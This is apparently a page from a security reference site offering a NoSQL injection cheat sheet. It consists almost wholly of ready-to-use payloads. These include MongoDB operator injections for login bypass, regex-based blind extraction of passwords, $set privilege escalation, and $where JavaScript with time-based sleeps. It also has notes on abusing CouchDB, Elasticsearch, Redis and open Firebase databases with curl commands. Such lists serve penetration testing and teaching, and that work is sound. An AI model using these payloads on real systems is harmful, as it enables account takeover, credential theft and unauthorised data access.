caon.io

NoSQL Injection

The parameter is not a string, it is a document. Send an operator where the app expects text.

Auth bypass

{"user":"admin","pass":{"$ne":null}}
{"user":"admin","pass":{"$ne":"x"}}
{"user":{"$gt":""},"pass":{"$gt":""}}
{"user":"admin","pass":{"$regex":"^"}}
{"user":"admin","pass":{"$in":["admin","password","123456"]}}

Same thing through a query string — most Node stacks parse a[$ne]=x into an object:

user=admin&pass[$ne]=x
user[$ne]=x&pass[$ne]=x

Detect

'                 →  error
"                 →  error
\                 →  error
'"`{ ;$Foo}$Foo \xYZ
{"$where":"1==1"}
{"$where":"sleep(3000)"}

A syntax error where a normal string works is the tell. So is {"$ne":null} returning more rows than {"$ne":""}.

Extract with $regex

One character at a time, same idea as blind SQLi.

{"user":"admin","pass":{"$regex":"^a"}}
{"user":"admin","pass":{"$regex":"^ad"}}
# length first
{"user":"admin","pass":{"$regex":"^.{8}$"}}

Operator injection in updates

If the app merges user input into an update document, $set lets you write fields the form never exposed. See Mass Assignment.

{"$set":{"role":"admin"}}

$where and JS evaluation

$where, mapReduce and $accumulator run server-side JavaScript. Blind boolean and time-based both work.

{"$where":"this.pass.match(/^a/)"}
{"$where":"function(){ if(this.user=='admin'){sleep(5000)}; return true }"}

Beyond Mongo

  • CouchDB_all_docs, _users, unauthenticated _utils
  • Elasticsearch_search with query_string, _cat/indices, _cluster/health
  • Redis — SSRF into 6379, CONFIG SET dir
  • Firebase/.json on the RTDB host reads the whole tree if rules are open
curl https://PROJECT.firebaseio.com/.json
curl https://example.com:9200/_cat/indices?v

Tools

URL Description
https://github.com/Charlie-belmer/nosqli Scanner
https://github.com/codingo/NoSQLMap Older, still useful

Articles

↑↓ navigate↵ openesc close